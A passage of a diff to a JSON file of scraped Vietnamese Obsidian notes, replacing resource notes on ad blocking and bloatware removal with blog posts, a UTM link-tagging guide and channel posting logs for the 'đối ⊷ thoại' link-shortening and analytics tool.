diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại \n- Tự động tạo liên kết UTM\n- Tự động rút gọn liên kết với đuôi có ý nghĩa chứ không phải là những ký tự ngẫu nhiên \n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n- Mọi khai báo cấu hình đều trên tệp văn bản thuần\n\n# Triết lý phát triển\n- **Lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm:** thúc đẩy các cuộc đối thoại trong cộng đồng theo các mục tiêu phát triển bền vững, thúc đẩy sự hợp tác đa bên, liên ngành\n- **Dành cho người Việt:** không gặp vấn đề với các ký tự tiếng Việt và kết quả được viết theo cách người Việt dùng ngôn ngữ\n- **Đảm bảo sự tự do và tự trị dữ liệu của người dùng:** dễ dàng tích hợp với các hệ thống bạn đang dùng (VD: Obsidian)\n- **Hướng đến việc nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ**\n\n# Cách dùng\nBạn có thể ghé thăm trang web của chương trình và dùng nó ngay lập tức như các dịch vụ như Bitly. Nếu bạn muốn nhập dữ liệu với số lượng lớn thì có thể gửi mình danh sách bài đăng và nơi đăng của bạn. Hoặc nếu muốn sử dụng bằng tên miền và hệ thống riêng của bạn thì làm theo hướng dẫn ở readme trong GitHub. Nếu bạn có thắc mắc gì thì cứ hỏi mình.\n\nẢnh: cách mình đã tạo ra liên kết ở dưới này 👇 \n\n# 👉 Liên kết: https://doi-thoai.deno.dev/webđốithoại.1u.1\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "P-" + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "QC" }, { - "Tiêu đề": "Trường phái bớt và trường phái thêm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Trường phái bớt và trường phái thêm", + "Tiêu đề": "Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Deletionism and inclusionism in Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Deletionism_and_inclusionism_in_Wikipedia)", + "Toàn bộ nội dung": "# Biết được phiếu khảo sát hoặc phiếu đăng ký được nhóm đối tượng nào quan tâm nhiều hơn\nGiả sử bạn chuẩn bị tổ chức một sự kiện cho 30 người tham gia, và bạn đã tạo một phiếu đăng ký trên Google Form. Công việc của bạn bây giờ là đăng bài giới thiệu đính kèm liên kết đến phiếu đăng ký lên các nhóm cho tới khi đủ số lượng. \n\nVới các công cụ hiện tại, bạn có 2 chỉ số thể hiện được mức độ quan tâm của người đọc:\n- Số người đã hoàn thành đăng ký,\n- Số lượng tương tác trên bài đăng\n \nSo sánh số lượng tương tác trên bài đăng của bạn và của những bài đăng khác, bạn có thể phỏng đoán **mức độ hấp dẫn của bài của bạn với các thành viên của nhóm**. Nhưng sự phỏng đoán đó chỉ dùng được với nhóm đó thôi. Với nhóm khác thì không so sánh được, trừ phi các nhóm này cùng trên một nền tảng và có số lượng thành viên tương đương nhau. Bạn không thể so sánh lượng tương tác về bài của bạn khi được đăng trên một nhóm Facebook và một nhóm Zalo, hay một nhóm 100 thành viên và một nhóm 1.000.000 thành viên được.\n\nXét sâu hơn chút, bạn sẽ thấy việc dựa vào số lượng tương tác không phải lúc nào cũng phản ánh tốt mức độ quan tâm đến sự kiện của bạn. Có những người like hoặc share mà còn không đọc kỹ bài viết. Có những người bấm vào liên kết mà chẳng like. \n\nNếu như không biết được đã có bao nhiêu người vào liên kết, bạn sẽ phải đăng khắp nơi cho tới khi nào đủ số lượng. Giả sử như bạn đã đăng lên 2 nhóm Facebook và một nhóm Zalo, và hiện tại đã có 20 người đã đăng ký sự kiện của bạn. Bạn còn cần thêm 10 người nữa. Nếu không biết được mỗi nhóm có bao nhiêu người đăng ký, bạn sẽ phải nhắc lại khắp nơi. \n\nNhưng nếu bạn biết được\n\n30 người tham gia \n→ 50 lượt hoàn thành đăng ký\n→ 100 lượt bấm vào liên kết. Trong đó bao gồm:\n- 30 lượt trên trang Facebook của dự án,\n- 30 lượt trên nhóm Facebook 1,\n- 30 lượt trên nhóm Facebook 2, \n- 10 lượt trên nhóm Zalo\n\nTừ đó, bạn có thể có bảng sau:\n\n| Nơi đăng | Giả định/mong đợi | Thực tế | Tỉ lệ |\n| -------------------- | ----------------- | ------- | ------- |\n| Trang Facebook dự án | 30 | 18 | 60% |\n| Nhóm Facebook 1 | 30 | 23 | 76% |\n| Nhóm Facebook 2 | 30 | 3 | 10% |\n| Nhóm Zalo | 10 | 5 | 50% |\n| **Tổng** | **100** | **49** | **49%** |\n\nBiết được nhóm nào chưa đạt mong muốn, hoặc bạn đã có mong đợi nhiều hơn khả năng của đáp ứng của nó. Từ đó bạn có thể \n[[Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò]]\n\n\n\ncho của bạn lên Facebook và Zalo. Trước giờ, bạn chỉ có thể biết là có bao nhiêu người đã trả lời. Nay, bạn có thể biết đã có bao nhiêu người trên Facebook đã bấm vào, bao nhiêu người trên Zalo bấm vào. Điều này sẽ giúp bạn có những dự đoán tin cậy hơn về đối tượng thụ hưởng của bạn.\n\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n\n# Học tập được các cuộc đối thoại cũ\nKho lưu trữ các cuộc đối thoại\ntiếp nối được các cuộc đối thoại đang dở dang\nKhông bị rời rạc, thiếu tập trung\n# Biết được tài liệu nào được độc giả quan tâm nhiều hơn\nBiết được ý tưởng nào chấn động với họ nhất\n[[Giả định có mặt ở khắp nơi]]\n\n(Lưu ý rằng, [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]. Cho nên ta cần phải [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người|kết hợp với phỏng vấn để hiểu lý do của họ hơn]]) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-26T06:48:00.000Z", - "Ngày cập nhật": "2024-08-26T06:49:00.000Z", - "id": "P_" + "Ngày tạo": "2024-06-21T13:24:00.000Z", + "Ngày cập nhật": "2024-07-21T14:43:00.000Z", + "id": "QD" }, { - "Tiêu đề": "Uy quyền sự thật của Wikipedia", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Uy quyền sự thật của Wikipedia", + "Tiêu đề": "Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Wikipedia:Contents - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Contents \"Wikipedia:Contents - Wikipedia\")\n[List of lists of lists - Wikipedia](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\")\n\nDanh sách thành viên cố vấn \n[Wikipedia:Dự án Phát triển cộng đồng/Danh sách thành viên cố vấn – Wikipedia tiếng Việt](https://vi.wikipedia.org/wiki/Wikipedia:D%E1%BB%B1_%C3%A1n_Ph%C3%A1t_tri%E1%BB%83n_c%E1%BB%99ng_%C4%91%E1%BB%93ng/Danh_s%C3%A1ch_th%C3%A0nh_vi%C3%AAn_c%E1%BB%91_v%E1%BA%A5n \"Wikipedia:Dự án Phát triển cộng đồng/Danh sách thành viên cố vấn – Wikipedia tiếng Việt\")\n\nNhiều người nghi ngờ Wikipedia về tính nguyên bản hoặc uy quyền của nó, nhưng mình thấy thật ra cộng đồng tình nguyện viên Wikipedia cũng sẵn sàng tự phê bình Wikipedia chi tiết chứ không phải là không. Tại sao YouTube và Facebook cũng sử dụng Wikipedia để kiểm tra tin giả?\n- [Criticism of Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Criticism_of_Wikipedia \"Criticism of Wikipedia - Wikipedia\")\n- [List of Wikipedia controversies - Wikipedia](https://en.wikipedia.org/wiki/List_of_Wikipedia_controversies \"List of Wikipedia controversies - Wikipedia\")\n- [Wikipedia:Replies to common objections - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Replies_to_common_objections#My_prose \"Wikipedia:Replies to common objections - Wikipedia\")\n- [Reliability of Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Reliability_of_Wikipedia \"Reliability of Wikipedia - Wikipedia\")\n- [Wikipedia:Wikipedia is not a reliable source - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Wikipedia_is_not_a_reliable_source \"Wikipedia:Wikipedia is not a reliable source - Wikipedia\")\n- [Wikipedia:Why Wikipedia is so great](https://en.wikipedia.org/wiki/Wikipedia:Why_Wikipedia_is_so_great \"Wikipedia:Why Wikipedia is so great\")\n- [Wikipedia Review](https://wikipediareview.com/ \"Wikipedia Review\")\n- [Wikipediocracy](https://wikipediocracy.com/ \"Wikipediocracy\")\n\n[[❓Wikipedia là góc nhìn thượng đế, nhưng nó lại là cơ chế để tất cả mọi người là đồng tác giả]]", + "Toàn bộ nội dung": "Bài này chưa viết xong. Nhưng bạn có thể đọc một bài có nhiều liên quan tới nó tại\n\n[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, bạn cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra.](https://doi-thoai.deno.dev/hhUT.BUBw.1/ \"Up and Down the Ladder of Abstraction\") Nếu giải pháp đó cần sự đối thoại giữa các bên, bạn cần nhanh chóng tìm lại các cuộc thảo luận đã từng có trước đây và nắm được mức độ quan tâm của các bên liên quan. Tuy nhiên, có vẻ như hiện tại không có giải pháp nào giúp đạt được điều này. Điều này khiến cho các nỗ lực đối thoại với cộng đồng bị tủn mủn, không đạt đủ sự chú ý mà nó xứng đáng có.\n\n\nBằng quan sát cá nhân, chúng tôi thấy dù có rất nhiều tổ chức mong muốn đem lại nhiều đối thoại cho cộng đồng, và ý thức được tầm quan trọng của các bên liên quan và người thụ hưởng, nhưng kết quả thì các cuộc đối thoại vẫn bị tản mát và không có được sự chú ý \n[[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]]\n\n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] \n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\nkiếm được các tài nguyên đã được tạo ra bởi các dự án khác, \n\nXem thêm:: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-26T06:49:00.000Z", - "id": "Q0" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-21T11:23:00.000Z", + "id": "QE" }, { - "Tiêu đề": "Đóng góp vào Wikipedia", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Đóng góp vào Wikipedia", + "Tiêu đề": "đối ⊷ thoại", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/đối ⊷ thoại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Wikipedia Editing Basics 101 - YouTube](https://www.youtube.com/playlist?list=PLuC9_EqBCEM-yzf3jeFkRTf_zzlIoEuav)\n![Tạo bài Wikipedia Tiếng Việt - tập 2.1 - YouTube](https://www.youtube.com/watch?v=DQQiwZ_7_qw&list=PLcHz-Rc0rct2n2C-6v0f6C9_w1VwJG57u&index=1)\n![Wikipedia editing basics - YouTube](https://www.youtube.com/playlist?list=PLVx9pX-VnGVjAVQo8Qv_ohNP5r7JuzhRo)\n", + "Toàn bộ nội dung": "# đối ⊷ thoại\n[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, bạn cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra.](https://doi-thoai.deno.dev/LadderOfAbstraction.đốithoại.1 \"Up and Down the Ladder of Abstraction\") Nếu giải pháp đó cần sự đối thoại giữa các bên, bạn cần nhanh chóng tìm lại các cuộc thảo luận đã từng có trước đây và nắm được mức độ quan tâm của các bên liên quan.\n\nĐể đạt được mục tiêu đó, chương trình này sẽ giúp bạn:\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại\n- Tự động tạo liên kết UTM và rút gọn liên kết đó\n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n\nLiên lạc với chúng tôi để thêm bài đăng và nơi đăng của bạn vào chương trình với số lượng lớn, hoặc tải [mã nguồn](https://doi-thoai.deno.dev/aI.đốithoại.1) để dùng với tên miền và hệ thống của bạn. Trong tương lai chúng tôi cũng sẽ tạo một plugin Obsidian để bạn có thể tạo nội dung chia sẻ ngay trên kho thông tin của mình. Chúng tôi hướng tới việc đem lại [sự tự do và tự trị dữ liệu](https://doi-thoai.deno.dev/local-first.đốithoại.1) cho bạn.\n\nTìm hiểu thêm:\n\n\nSản phẩm khác:\n- [Trấn Kỳ — Phân loại dữ liệu bằng tiếng Việt tự nhiên](https://tranky.deno.dev/?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu](https://quảcầu.cc/cac-buoi-dap-ung-nhu-cau-hoc-cach-su-dung-cong-cu-va-tu-duy-lap-trinh-cho-nhu-cau-ca-nhan-hoac-nghien-cuu?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=Các+buổi+đáp+ứng+nhu+cầu+học+lập+trình&utm_content=&utm_term=)\n- [Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền](https://obsidian.quảcầu.cc/📐%20Dự%20án/Công%20cụ%20cho%20hệ%20sinh%20thái/9%20Blog/Từ%20việc%20lưu%20dữ%20liệu%20tại%20chỗ%20đến%20sự%20hợp%20tác%20đa%20phương%20và%20liên%20ngành%20và%20nền%20kinh%20tế%20không%20dùng%20tiền?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=C1+Công+cụ+cho+hệ+sinh+thái&utm_content=&utm_term=)\n\nViết bởi [Quả Cầu](https://quảcầu.cc/truyen-ngu-ngon-ve-nhung-nguoi-mong-doi?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=Meta&utm_content=&utm_term=).\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-26T06:49:00.000Z", - "id": "Q1" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "QF" }, { - "Tiêu đề": "Giải pháp kỹ thuật", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Giải pháp kỹ thuật", + "Tiêu đề": "Hướng dẫn truyền thông", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Hướng dẫn truyền thông", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Giải pháp kỹ thuật\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]", + "Toàn bộ nội dung": "Nếu bạn có thời gian thì làm, còn không thì cũng không sao.\n\n# Nội dung giới thiệu\nGiới thiệu chung thì có thể dựa vào [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]], đặc biệt là phần [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền#Liên thông dữ liệu giữa các nhóm dự án|Liên thông dữ liệu giữa các nhóm dự án]], hoặc có thể điều chỉnh tuỳ vào [[4 Các bên liên quan]]\n\n# Link\nTrước tiên bạn cần hiểu mã UTM là gì. Bài chi tiết: [Hướng Dẫn Tạo Mã UTM Nhằm Đo Lường Chính Xác Mức Độ Hiệu Quả Các Chiến Dịch Quảng Cáo - A1 DigiHub](https://a1digihub.com/huong-dan-tao-ma-utm-nham-do-luong-chinh-xac-muc-do-hieu-qua-cac-chien-dich-quang-cao/)\n\n## Hướng dẫn xây dựng UTM\nĐiền vào theo mẫu sau:\n- **Website URL:** link bài viết bạn muốn chia sẻ\n- **Campaign source:** Điền theo cú pháp `Nềntảng: Tênnhóm: Chủđềthảoluận`. Trong đó:\n\t- **Nền tảng** là F nếu là Facebook, R nếu là Reddit, Y nếu là YouTube, F nếu là forum, E nếu là email. Nếu là ở các web khác thì giữ nguyên tên (vd: Spiderum). Nếu bạn gửi trực tiếp tới một người (qua chat, email) thì để chữ I (viết tắt của individual). Nếu bạn không muốn tiết lộ thì để chữ S (secret)\n\t Đặc biệt: Nếu là Facebook thì \n\t- **Tên nhóm:** Nếu bạn đăng trên các nhóm Facebook thì là tên nhóm, trên YouTube thì là tên kênh, nếu là forum thì là tên forum. Nếu gửi cho trực tiếp một người thì là tên người đó. Nếu bạn không muốn tiết lộ thì để chữ S\n\t- **Chủ đề thảo luận**: Chủ đề cuộc thảo luận mà ở đó bài viết trở nên hữu ích. Nếu cuộc thảo luận chính là về bài viết thì bạn để chữ O (original). Nếu bạn không muốn tiết lộ thì để chữ S\n- **Campaign medium:** chọn một trong những mục sau:\n\t- social\n\t- forum\n\t- blog\n\t- vault\n\t- chat\n\t- form\n\t- meeting\n- **Campaing name:** chọn một trong những mục sau:\n\t- Giới thiệu vault\n\t- Trấn Kỳ\n\t- Nói về sự hợp tác\n\t- Bàn luận hiểu biết\n\t- Chia sẻ tài nguyên\n\t- Giới thiệu về Obsidian\n\t- Thảo luận về mạng kết nối nhu cầu\n\t- Khác\n\n## Một số ví dụ\n### Chia sẻ [[🌟 Mở đầu|trang chủ]] thành một bài trong nhóm ABC trên Facebook\n- **Campaign source:** `F G » ABC » O`\n- **Campaign medium:** `social`\n- **Campaign name:** `Giới thiệu vault`\n\n### Chia sẻ trang [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]] khi bình luận về bài DEF trong nhóm ABC trên Facebook\n- **Campaing source:** `F G » ABC » DEF`\n- **Campaign medium:** `social`\n- **Campaign name:** `Nói về sự hợp tác`\n\n### Chia sẻ trang [[💎 Giới thiệu về Obsidian]] khi trả lời bình luận GHI của bài DEF trong nhóm ABC trên Facebook\n- **Campaing source:** `F G » ABC » DEF » GHI`\n- **Campaign medium:** `social`\n- **Campaign name:** `Giới thiệu về Obsidian`\n\n### Chia sẻ [[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]] cho người tên là ABC qua chat\n- **Campaing source:** `ABC`\n- **Campaign medium:** `chat`\n- **Campaign name:** `Bàn luận hiểu biết`\n\n### Chia sẻ trang [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]] trong phiếu đăng ký tham gia chương trình ABC\n- **Campaing source:** `ABC`\n- **Campaign medium:** `form`\n- **Campaign name:** `Nói về sự hợp tác`\n\n### Chia sẻ trang [[💎 Giới thiệu về Obsidian]] khi bình luận về bài DEF trong blog ABC \n- **Campaing source:** `ABC » DEF`\n- **Campaign medium:** `blog`\n- **Campaign name:** `Giới thiệu về Obsidian`\n \n\n\n# Kiểm tra ảnh xem trước của link chia sẻ\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-29T16:53:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "Q2" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-02-12T10:08:00.000Z", + "id": "QG" }, { - "Tiêu đề": "Chặn quảng cáo trong app Android", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Hệ điều hành/Chặn quảng cáo trong app Android", + "Tiêu đề": "AGB Saigon Plus", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/AGB Saigon Plus", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Root máy rồi cài adblock trên Google Play/F-droid", + "Toàn bộ nội dung": "# [[06-11]]\n21:27 đăng [[Lời mời xây dựng một startup]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-01T14:16:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q3" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-06T14:28:00.000Z", + "id": "QH" }, { - "Tiêu đề": "Xóa bloatware trên Windows, Android", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Hệ điều hành/Xóa bloatware trên Windows, Android", + "Tiêu đề": "Discord Obsidian tiếng-Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Discord Obsidian tiếng-Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Bloatware Removal Utility](https://github.com/arcadesdude/BRU)\r\nfor automating removal of pre-installed, factory bloatware from devices running Windows 7-10 and newer. Silently removes items selected if possible. Preselects common bloatware. Can remove Win10 UWP/Metro/Modern/Windows Store apps and provisioned apps\r\n\r\n[android-bloatware](https://github.com/jaredsburrows/android-bloatware)\r\nKeeping tracking of Bloatware that is safe to disable\r\n", + "Toàn bộ nội dung": "# [[03-02]]\n23:53 [Trấn Kỳ đã xong bản web rồi. Mời mọi người ghé thăm](https://discord.com/channels/686053708261228577/944662832585277511/1203021684160860160)\n# [[04-02]]\n16:27 andrey-jef làm đẹp vậy rồi thì mạnh tay phát triển thành 1 dạng plain text accounting luôn đi bạn", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T04:18:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q4" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-02-04T10:35:00.000Z", + "id": "QI" }, { - "Tiêu đề": "Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm", + "Tiêu đề": "Dạy Nhau Học", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Dạy Nhau Học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![💨 Winter Storm Ambience with Icy Howling Wind Sounds for Sleeping, Relaxing and Studying Background. - YouTube](https://youtu.be/sGkh1W5cbH4?si=GQ4S8UStutCVFwVY)", + "Toàn bộ nội dung": "# [[10-11]]\n00:01 đăng [[Phân loại câu nhập]] https://daynhauhoc.com/t/tran-ky-phan-loai-cau-nhap-bang-tieng-viet-tu-nhien/132935\n1:22 đăng https://discord.com/channels/420246254254030856/420467741774839819/1172239739567493251", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q5" + "Ngày cập nhật": "2023-11-10T07:06:00.000Z", + "id": "QJ" }, { - "Tiêu đề": "Chặn quảng cáo trên trình duyệt", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Chặn quảng cáo trên trình duyệt", + "Tiêu đề": "Symato", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Symato", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# uBlock Origin\nThường mọi người thấy các trình duyệt hay giới thiệu Adblock. Nhưng nó không mạnh bằng\n## Chọn một element cụ thể\n![](https://user-images.githubusercontent.com/95879668/199072316-c25f97c2-b24f-4346-85e3-bd45f848bccb.png)\n[Element picker](https://github.com/gorhill/uBlock/wiki/Element-picker)\n# No thanks, I don't care about cookie\n# Facebook \nDùng [F.B. Purity - Clean up and Customize Facebook](https://www.fbpurity.com/)\n![](https://lh3.googleusercontent.com/e_zPSMC-g4edOvmPnkXUfdR598OqPz1JCqyGOQVJ9jBOe1m3Ikf4_dSgpLUbH_z-LvyY78t-Be4lDhXPC-nidwNrlGo=w640-h400-e365-rj-sc0x00ffffff) \n", + "Toàn bộ nội dung": "# [[10-11]]\n01:52 đăng [[Phân loại câu nhập (ngắn)]] https://discord.com/channels/1070551652341403769/1070552849693560893/1172246440471449631\n# [[03-02]]\n00:05 [Lên website rồi nhé bạn](https://discord.com/channels/1070551652341403769/1070552849693560893/1203013060319641620)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-01T14:15:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q6" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-02T17:09:00.000Z", + "id": "QK" }, { - "Tiêu đề": "FB purity giúp giảm rác Facebook", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/FB purity giúp giảm rác Facebook", + "Tiêu đề": "Tự học Data", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Tự học Data", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Link: [F.B. Purity - Clean up and Customize Facebook](https://www.fbpurity.com/)\n![](https://lh3.googleusercontent.com/e_zPSMC-g4edOvmPnkXUfdR598OqPz1JCqyGOQVJ9jBOe1m3Ikf4_dSgpLUbH_z-LvyY78t-Be4lDhXPC-nidwNrlGo=w640-h400-e365-rj-sc0x00ffffff) \n", + "Toàn bộ nội dung": "# [[10-11]]\n01:55 đăng [[Phân loại câu nhập]] 